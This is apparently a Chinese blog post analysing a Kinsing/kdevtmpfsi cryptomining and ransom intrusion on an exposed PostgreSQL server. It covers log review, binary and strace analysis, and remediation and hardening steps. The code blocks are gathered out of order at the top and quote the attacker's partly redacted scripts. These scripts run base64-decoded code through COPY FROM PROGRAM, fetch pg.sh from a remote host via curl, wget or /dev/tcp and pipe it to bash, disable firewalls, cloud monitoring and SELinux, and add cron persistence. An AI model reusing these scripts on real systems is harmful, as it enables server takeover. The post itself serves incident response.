A silent voice begins to softly speak.
DROP TABLE IF EXISTS bwyeLzCF;
CREATE TABLE bwyeLzCF(cmd_output text);
COPY bwyeLzCF FROM PROGRAM 'echo ... | base64 -d | bash';
SELECT * FROM bwyeLzCF;
DROP TABLE IF EXISTS bwyeLzCF;#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
curl .../pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
wget -q -O- .../pg.sh|bash
else
__curl http://.../pg2.sh|bash
fi# 关闭防火墙
ufw disable
iptables -F
# 移除 root 用户的 SSH 密钥属性
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys
# 结束符合条件的进程(注意这里 postgres 的 o)
for filename in /proc/*; do
ex=$(ls -latrh $filename 2> /dev/null|grep exe)
if echo $ex |grep -q "/tmp/.perf.c\|/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
result=$(echo "$filename" | sed "s/\/proc\///")
kill -9 $result
echo found $filename $result
fi
if echo $ex |grep -q "/usr/local/bin/postgres"; then
cw=$(ls -latrh $filename 2> /dev/null|grep cwd)
if echo $cw |grep -q "/tmp"; then
result=$(echo "$filename" | sed "s/\/proc\///")
kill -9 $result
echo foundp $filename $result
fi
fi
done
# 针对性卸载阿里云与腾讯云监控
if ps aux | grep -i '[a]liyun'; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
# 关闭内核硬件监控 NMI Watchdog
sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
# 按网络连接结束符合条件的进程(或其他挖矿程序)
netstat -anp | grep ... | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
pkill -f ...
# 按特征进程结束符合条件的进程(或其他挖矿程序)
ps aux | grep -v grep | grep ... | awk '{print $2}' | xargs -I % kill -9 %
pgrep -f ... | xargs -I % kill -9 %
# 删除其他挖矿程序
rm -rf ...
# 移除 Docker 中存在其他挖矿程序的容器和镜像
docker ps | grep ... | awk '{print $1}' | xargs -I % docker kill %
docker images -a | grep ... | awk '{print $3}' | xargs -I % docker rmi -f %
# 禁用系统安全机制
setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor# 针对不同架构下载对应的程序
BIN_MD5="b3039abf2ad5202f4a9363b418002351"
BIN_DOWNLOAD_URL="http://.../kinsing"
BIN_DOWNLOAD_URL2="http://.../kinsing"
BIN_NAME="kinsing"
arch=$(uname -i)
if [ $arch = aarch64 ]; then
BIN_MD5="da753ebcfe793614129fc11890acedbc"
BIN_DOWNLOAD_URL="http://.../kinsing_aarch64"
BIN_DOWNLOAD_URL2="http://.../kinsing_aarch64"
echo "arm executed"
fi# 用于校验 MD5 的函数
checkExists() {
CHECK_PATH=$1
MD5=$2
sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
retval=""
if [ "$MD5" = "$sum" ]; then
echo >&2 "$CHECK_PATH is $MD5"
retval="true"
else
echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
retval="false"
fi
echo "$retval"
}
# 用于下载的函数
download() {
DOWNLOAD_PATH=$1
DOWNLOAD_URL=$2
if [ -L $DOWNLOAD_PATH ]
then
rm -rf $DOWNLOAD_PATH
fi
chmod 777 $DOWNLOAD_PATH
$WGET $DOWNLOAD_PATH $DOWNLOAD_URL
chmod +x $DOWNLOAD_PATH
}
# 检查文件是否存在,不存在则下载
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH exists and checked"
else
echo "$BIN_FULL_PATH not exists"
rm -rf $BIN_FULL_PATH
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH after download exists and checked"
else
echo "$BIN_FULL_PATH after download not exists"
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH after download2 exists and checked"
else
echo "$BIN_FULL_PATH after download2 not exists"
fi
fi
fichmod 777 $BIN_FULL_PATH
chmod +x $BIN_FULL_PATH
SKL=pg $BIN_FULL_PATH
crontab -l | sed '/#wget/d' | crontab -
crontab -l | sed '/#curl/d' | crontab -
crontab -l | grep -e "..." | grep -v grep
if [ $? -eq 0 ]; then
echo "cron good"
else
(
crontab -l 2>/dev/null
echo "* * * * * $LDR http://.../pg.sh | sh > /dev/null 2>&1"
) | crontab -
ficompiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
relro: no -> partial[0x00402e00]> izz | grep -i "http"
18331 0x003e2b60 0x007e2b60 4 5 .rodata ascii http
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
20113 0x003fa478 0x007fa478 19 20 .rodata ascii https proxy request
20114 0x003fa490 0x007fa490 12 13 .rodata ascii http request
23162 0x00414058 0x00814058 5 6 .rodata ascii https
25219 0x0042ed70 0x0082ed70 16 17 .rodata ascii parse_http_line1
25224 0x0042edf0 0x0082edf0 16 17 .rodata ascii %s %s HTTP/1.0\r\n
29745 0x004511b0 0x008511b0 104 105 .rodata ascii not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):\n
30005 0x00453698 0x00853698 437 438 .rodata ascii GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.\nCopyright (C) 2022 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 11.2.0.\nlibc ABIs: UNIQUE ABSOLUTE\nFor bug reporting instructions, please see:\n<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
30991 0x0045dbd8 0x0085dbd8 120 121 .rodata ascii TLS generation counter wrapped! Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n[0x00402e00]> izz | grep -i "monero\|xmr"
18114 0x003e1180 0x007e1180 20 21 .rodata ascii cryptonight-monerov7
18117 0x003e11b8 0x007e11b8 20 21 .rodata ascii cryptonight-monerov8
18173 0x003e1547 0x007e1547 4 5 .rodata ascii lXMR
18174 0x003e1550 0x007e1550 6 7 .rodata ascii Monero
18187 0x003e1600 0x007e1600 27 28 .rodata ascii \e[43;1m\e[1;37m monero \e[0m
18310 0x003e27e0 0x007e27e0 415 416 .rodata ascii \n{\n "background": true,\n "donate-level": 0,\n "cpu": true,\n "colors": false,\n "opencl": false,\n "pools": [\n {\n "coin": "monero",\n "algo": null,\n "url": "xmr-eu1.nanopool.org",\n "user": "4...b",\n "pass": "mine",\n "tls": false,\n "keepalive": true,\n "nicehash": false\n }\n ]\n}\n
18315 0x003e2a08 0x007e2a08 5 6 .rodata ascii XMRig
18391 0x003e3030 0x007e3030 12 13 .rodata ascii XMRig 6.16.4
18396 0x003e3090 0x007e3090 33 34 .rodata ascii Usage: xmrig [OPTIONS]\n\nNetwork:\n
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18415 0x003e3658 0x007e3658 72 73 .rodata ascii --donate-over-proxy=N control donate over xmrig-proxy feature\n
18460 0x003e4380 0x007e4380 43 44 .rodata ascii XMRig 6.16.4\n built on Jul 30 2023 with GCC
18597 0x003e5be8 0x007e5be8 34 35 .rodata ascii stratum+tcp://xmr-eu1.nanopool.org
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
18860 0x003f01b8 0x007f01b8 20 21 .rodata ascii donate.ssl.xmrig.com
18861 0x003f01d0 0x007f01d0 19 20 .rodata ascii donate.v2.xmrig.com
19355 0x003f4d70 0x007f4d70 5 6 .rodata ascii xmrig[0x000789e0]> iz | grep -E "process|pid|exec|kill"
75 0x002a074c 0x002b074c 4 5 .rodata ascii Ppid
199 0x002a0a34 0x002b0a34 4 5 .rodata ascii kill
887 0x002a23d1 0x002b23d1 8 9 .rodata ascii \aos/exec
1086 0x002a2afa 0x002b2afa 8 9 .rodata ascii \aexecute
1608 0x002a3ef1 0x002b3ef1 10 11 .rodata ascii \t*exec.Cmd
2379 0x002a6201 0x002b6201 12 13 .rodata ascii \v*exec.Error
2873 0x002a7bf9 0x002b7bf9 13 14 .rodata ascii \fprocessFlags
3307 0x002a9902 0x002b9902 14 15 .rodata ascii Pid\njson:"pid"
3424 0x002aa07c 0x002ba07c 15 16 .rodata ascii *exec.ExitError
3523 0x002aa70f 0x002ba70f 15 16 .rodata ascii PpidWithContext
3675 0x002ab16c 0x002bb16c 16 17 .rodata ascii *process.Process
4588 0x002afaca 0x002bfaca 22 23 .rodata ascii *process.OpenFilesStat
4631 0x002afe42 0x002bfe42 22 23 .rodata ascii processCertsFromClient
4656 0x002b00b8 0x002c00b8 23 24 .rodata ascii *exec.prefixSuffixSaver
4680 0x002b0310 0x002c0310 23 24 .rodata ascii *process.MemoryInfoStat
4681 0x002b0329 0x002c0329 23 24 .rodata ascii *process.PageFaultsStat
4682 0x002b0342 0x002c0342 23 24 .rodata ascii *process.SignalInfoStat
4787 0x002b0d4e 0x002c0d4e 24 25 .rodata ascii processClientKeyExchange
4788 0x002b0d68 0x002c0d68 24 25 .rodata ascii processServerKeyExchange
4942 0x002b1d47 0x002c1d47 28 29 .rodata ascii \e*process.NumCtxSwitchesStat
5168 0x002b36f9 0x002c36f9 35 36 .rodata ascii "github.com/shirou/gopsutil/process
5233 0x002b4057 0x002c4057 22 23 .rodata ascii json:"pending_process"
5340 0x002b522a 0x002c522a 48 49 .rodata ascii /*struct { F uintptr; pw *os.File; c *exec.Cmd }
...strace -f -e execve,kill,open,read,nanosleep -o log.txt ./kinsingpkill -f kdevtmpfsi$ cat log.txt | grep -E "kdevtmpfsi|execve|kill"
66871 execve("./kinsing", ["./kinsing"], 0xffffee10cf68 /* 22 vars */) = 0
66875 execve("./kinsing", ["./kinsing"], 0x40001f8240 /* 23 vars */) = 0
66879 <... read resumed>"Name:\tkinsing\nUmask:\t0002\nState:"..., 4096) = 1187
66879 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66879 read(7, "8816 (kdevtmpfsi) S 1 8816 8816 "..., 512) = 195
67160 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002783c0 /* 23 vars */) = 0
67160 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xb925af1d5e80 /* 23 vars */) = 0
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67160 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1170
67160 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67160 read(5, "67160 (pkill) R 66875 66868 6558"..., 2048) = 319
67160 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67160 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67160 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
66878 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66878 read(7, "67125 (kdevtmpfsi) S 1 67125 671"..., 512) = 183
67405 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002946c0 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xbf12fcc0ee80 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(5, "8323 (kinsing) S 1 4560 4560 0 -"..., 2048) = 205
67405 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67405 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1171
67405 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67405 read(5, "67405 (pkill) R 66875 66868 6558"..., 2048) = 319
67405 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67405 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67405 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66877 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 57
67408 execve("/usr/bin/sh", ["sh", "-c", "chmod +x /tmp/kdevtmpfsi33550091"...], 0x40002786c0 /* 23 vars */ <unfinished ...>
67408 <... execve resumed>) = 0
67408 execve("/usr/bin/chmod", ["chmod", "+x", "/tmp/kdevtmpfsi3355009150"], 0xb1ef30c68e90 /* 23 vars */) = 0
67409 execve("/usr/bin/sh", ["sh", "-c", "/tmp/kdevtmpfsi3355009150 &"], 0x4000278cc0 /* 23 vars */ <unfinished ...>
67409 <... execve resumed>) = 0
67410 execve("/tmp/kdevtmpfsi3355009150", ["/tmp/kdevtmpfsi3355009150"], 0xbf99e2dd4e90 /* 23 vars */ <unfinished ...>
67410 <... execve resumed>) = 0
66883 read(8, "67411 (kdevtmpfsi33550) S 1 6741"..., 512) = 287
66883 read(8, "Name:\tkdevtmpfsi33550\nUmask:\t000"..., 512) = 512
66883 read(8, "/tmp/kdevtmpfsi3355009150\0", 512) = 26
67416 +++ killed by SIGKILL +++
67415 +++ killed by SIGKILL +++
67414 +++ killed by SIGKILL +++$ cat log.txt | grep -E "http"
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39sudo systemctl stop cron
sudo systemctl stop crond
sudo service cron stop
sudo service crond stopsudo crontab -u postgres -esudo crontab -u postgres -lsudo chmod 000 /tmp/kdevtmpfsi /tmp/kinsingsudo pkill -9 -f kinsing
sudo pkill -9 -f kdevtmpfsisudo find / -name "*kdevtmpfsi*" -delete
sudo find / -name "*kinsing*" -deletesudo psql -U postgres# 查找 pgg_superadmins 是否存在
SELECT usename FROM pg_user WHERE usename='pgg_superadmins';
# 移除权限
REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM pgg_superadmins;
REVOKE ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public FROM pgg_superadmins;
REVOKE ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public FROM pgg_superadmins;
# 移除用户
REASSIGN OWNED BY pgg_superadmins TO postgres;
DROP OWNED BY pgg_superadmins;
DROP ROLE pgg_superadmins;
# 为 postgres 赋予超级用户
ALTER USER postgres WITH SUPERUSER;sudo rebootsudo chattr +i /etc/passwd
sudo chattr +i /etc/shadow
sudo chattr +i /etc/group
sudo chattr +i /etc/gshadow
sudo chattr +i /etc/ssh/sshd_config
sudo chattr +i /root/.ssh/authorized_keyslisten_addresses = '*'host all all 0.0.0.0/0 md5
host all all ::0/0 md5
host all all 0.0.0.0/0 trust
host all all ::0/0 trusthost all all 172.17.0.0/16 md5sudo mount -o remount,noexec,nosuid,nodev /tmp# 允许已建立的连接
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 允许本地回环
sudo iptables -A INPUT -i lo -j ACCEPT
# 允许SSH
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# 保存并生效
sudo service iptables save
sudo systemctl enable iptables# 对 SELinux 系统(CentOS/RHEL)
sudo sed -i 's/SELINUX=disabled/SELINUX=permissive/' /etc/selinux/config
# 对 AppArmor 系统(Ubuntu/Debian)
sudo systemctl enable apparmor
sudo systemctl start apparmor
sudo systemctl reload apparmorsudo reboot
异常发现
11 月 8 日下午,有小伙伴告诉我某服务异常,表现为后端程序报错与 PostgreSQL 查询相关。由于使用了 CDN 且仅配置了 HTTP 服务监控告警,因此并未在第一时间收到异常告警。
通过 SSH 连接服务器,使用 htop 命令查看正在运行的所有进程,发现 /tmp/kdevtmpfsi 进程高占用,运行用户为 postgres。
尝试结束该可疑进程,发现该程序会在 1 分钟内再次启动,猜测配置了定时任务或存在守护程序。
在云计算平台查看资源监视,该病毒于 UTC 11-7 16:15(北京时间 11-8 0:15)左右开始运行。
由于该病毒占用资源过多造成服务器性能下降,且位于 /tmp 目录下,因此对服务器进行重启以临时缓解。
重启服务器后连接 PostgreSQL 数据库发现所有的数据已被删除,同时入侵者创建了一个名为 readme_to_recover 的数据库,内容如下:
很显然,服务器受到了勒索,入侵者针对 PostgreSQL 数据库实施入侵行为,同时利用服务器资源进行挖矿,造成服务器卡顿和服务崩溃。
从服务器创建到被侵入仅 8 小时,好在还在部署阶段,没有重要数据(离谱
复盘与分析
本节列出的所有命令与脚本请勿运行,部分数据已进行脱敏处理
先贴一下事故服务器的情况:
不难看出这起事故的导火索(因为还在部署阶段就没太注意,我反思)
进程
病毒的二进制文件在重启后已被临时清除,为了弄清病毒的入侵和运作方式,我并没有对服务器进行任何操作和加固,而是维持原样运行,等待病毒再次出现。
不出意外,在 11 月 9 日的 0:14 左右,服务器 CPU 占用再次来到了 100%。
查看 /tmp 目录,存在两个二进制文件,如下:
两个程序的所有者均为 postgres,其中 kdevtmpfsi 权限 700,创建时间 UTC 16:14;kinsing 权限 777 ,创建时间 UTC 16:11,略早于 kdevtmpfsi。
同时,我下载了一份病毒样本备用:
使用 ps -ef 命令查找两个进程,如下:
从进程信息来看,kdevtmpfsi 的运行时间在增长(从 06:25:29 变为 06:26:17),而 kinsing 的运行时间在一段时间内几乎保持不变(为 00:00:04),二者的 PPID 均为 1。
稍微熟悉 Linux 的小伙伴不难看出,kdevtmpfsi 持续占用 CPU 时间,为挖矿主程序;kinsing 占用 CPU 时间较少,为 kdevtmpfsi 的守护程序。同时,父进程 ID 为 1 说明二者原始父进程已经终止,转为孤儿进程,由 systemd 进程接管。
但不管怎么说,systemctl 又不是摆设,直接通过 sudo systemctl status <pid> 来查看启动链:
怎么和 postgres 进程一起启动了,再看看。
使用 sudo crontab -u postgres -l 命令查看 postgres 用户的定时任务:
该定时任务设置为每分钟执行一次,使用 wget 工具在静默模式(-q)下载至标准输出(-O -),并通过管道(|)传递给 sh 直接运行,将脚本的运行输出和系统邮件丢弃(> /dev/null 2>&1),以此实现执行信息的隐藏。
在 syslog 中查找相关进程的调用记录,只能找到定时任务相关的记录。
但当我尝试访问该网址时出现 502 错误,只好暂时放弃。
入侵方式
使用 sudo last postgres 命令查看 postgres 用户的登录情况,发现输出为空,说明不是通过 postgres 系统用户的弱口令入侵的。同时,运行在 postgres 用户的服务只有 PostgreSQL。
只有一种可能了。
从 /www/server/pgsql/logs 目录找到了 PostgreSQL 的执行日志,在日志中发现了异常。
这份虽不完整的日志反映了服务器被侵入的全过程,可以将入侵者的操作分为 5 个步骤:
入侵者配置了自动工具,对某一特定 IP 段的服务器端口使用 nmap 工具进行扫描,查找符合 5432 端口开放的服务器,并尝试使用空凭证连接,确认 5432 端口上运行的是 PostgreSQL;
入侵者通过爆破弱口令密码/无密码成功连接后,通过尝试访问不存在的数据库 bbbbbbb 和执行大量的 SELECT VERSION(); 来确保已经完成登录,并收集数据库信息以查找漏洞;
入侵者先列出所有数据库,再依次通过 information_schema.tables 获取表。对于每张表先从 information_schema.columns 获取列数,再使用 SELECT * FROM ... LIMIT 50 来读取表数据,读取后通过 DROP TABLE IF EXISTS ... CASCADE 彻底删除表信息,最终删除原有数据库并写入勒索信息;
入侵者创建了一个 pgg_superadmins 的超级管理员,随后尝试 ALTER USER postgres WITH NOSUPERUSER 命令来撤销 postgres 用户的超级管理员权限,但因为 postgres 为数据库的初始化用户而被阻止;
PostgreSQL 的 COPY ... FROM PROGRAM 命令允许读取系统命令输出到表中,因此被入侵者用于执行脚本。
入侵者使用新建的 pgg_superadmins 创建了一个临时表 bwyeLzCF ,表中仅有 cmd_output 一个类型为 text 的字段,用于承载脚本的输出。echo ... | base64 -d | bash 将 Base64 编码的脚本解码后立即运行,运行成功后删除表 bwyeLzCF 销毁痕迹。
对于核心脚本,Base64 解密后得到如下内容:
这段脚本在运行时会先通过 pkill 命令终止竞争程序,随后下载并运行脚本。入侵者为了能在缺失 curl 和 wget 的环境中运行,甚至在 __curl 函数中直接通过 TCP 协议发送 HTTP 请求。
脚本分析
由于该脚本过长且具有风险性,在这里仅对部分片段进行分析。
脚本先关闭防火墙,随后卸载云监控软件以防止被发现,移除竞争程序避免与 kdevtmpfsi 抢占资源,最终禁用 SELinux 和 AppArmor 安全机制。
在下载前根据架构选择了对应的二进制下载地址,同时根据如下优先级确定了下载位置(该部分代码已省略):
先给目标二进制文件($BIN_FULL_PATH)赋予最高权限,确保可以被运行,随后向定时任务中加入一条每分钟执行一次的命令,以此完成持久化,这也是上文看到的加载在 postgres 用户的那条定时任务。
二进制分析
程序特征
使用 Radare2 查看二进制文件原始信息,结果如下:
特征
`kdevtmpfsi`
`kinsing`
架构(arch)
ARM aarch64
ARM aarch64
二进制类型(bintype)
ELF
ELF
大小(binsz)
~2.4MB
~6MB
开发语言(lang)
C
Go
静态链接(static)
是
是
符号表(stripped)
已剥离
已剥离
保护机制
NX 启用,无 RELRO、Canary
同左
使用 WinHex 查看 kdevtmpfsi 文件,不难找出 UPX 的特征
使用 UPX 脱壳后再次查看,结果如下:
与脱壳前不同,出现了如下内容:
kdevtmpfsi
通过查找关键字符串 http 快速定位到门罗币相关内容:
随后查找 monero\|xmr:
该程序连接地址为 xmr-eu1.nanopool.org 的矿池,收益地址为 4...b。
kinsing
接下来,我们来看看 kinsing 这个 Go 语言程序是如何实现进程守护的。
在 IDA 中先查找与 kdevtmpfsi 相关的字符串,但无法找到相关引用。
再查找与命令执行相关的函数:
其中 exec.Cmd 是 Go 执行命令调用的函数,而 github.com/shirou/gopsutil 是 Python 中 psutil 的 Go 语言实现,用于获取系统信息,由此判断 kinsing 可能存在执行系统命令的行为。
emm...似乎弄复杂了,我们来看看有没有简单一些的方法。
我先将 kinsing 放在 ~/ 目录下,在 ubuntu 用户下使用 strace 对 kinsing 及其子进程进行跟踪:
在一个新的终端中结束 kdevtmpfsi,等待 kinsing 将其再次启动:
kdevtmpfsi 再次启动时结束 strace 跟踪,并在日志中查找 kinsing 执行的相关命令:
那么这个 /tmp/kdevtmpfsi3355009150 是怎么出现的呢,在日志中查找 http 连接相关信息:
此时,kinsing 的逻辑已经水落石出,它的监控逻辑由四部分组成:
回到 IDA 中,再次进行相关查找,发现先前被忽略掉的 /var/tmp/kdevtmpfsi 字符串在 main.minerRunningCheck 被引用:
main.minerRunningCheck 函数存在自身循环,那么基本上可以确定该函数就是进程守护的主要逻辑。
对该函数展开分析,发现该函数除自身循环外,还调用了 main.getMinerPid、main.isMinerRunning、main.minRun 等函数:
在 main.minRun 中找到了 strace 日志中出现的内容:
也发现 kinsing 内置了一个下载运行工具:
一切都理清了。
解决方案
被删除的数据库无法恢复,只能通过备份还原
基于对侵入流程的复盘,我总结出如下解决方案:
请在执行前建立系统快照
临时禁用定时任务以防止二次感染:
编辑 postgres 用户的定时任务:
随后再次查看定时任务,确保可疑项已被清除:
全盘查找文件名包含 kinsing 和 kdevtmpfsi 的文件并删除
使用管理员用户登录数据库:
随后执行以下 SQL 语句:
查找 postgresql.conf 是否存在如下项:
查找 pg_hba.conf 是否存在如下项:
如有,应立即修改或删除。例如仅允许 Docker 容器连接:
对 /tmp 目录进行加固:
建立防火墙规则(根据实际需求修改):
恢复 SELinux 或 AppArmor
需注意,该解决方法只适用于临时处理和加固,建议尽快对数据和服务进行迁移重建。同时做好服务器日常维护和监控,避免敏感服务端口直接暴露于公网,不要在 SSH 和数据库使用弱口令密码。在保证服务正常运行的情况下,将账号权限收缩到最小。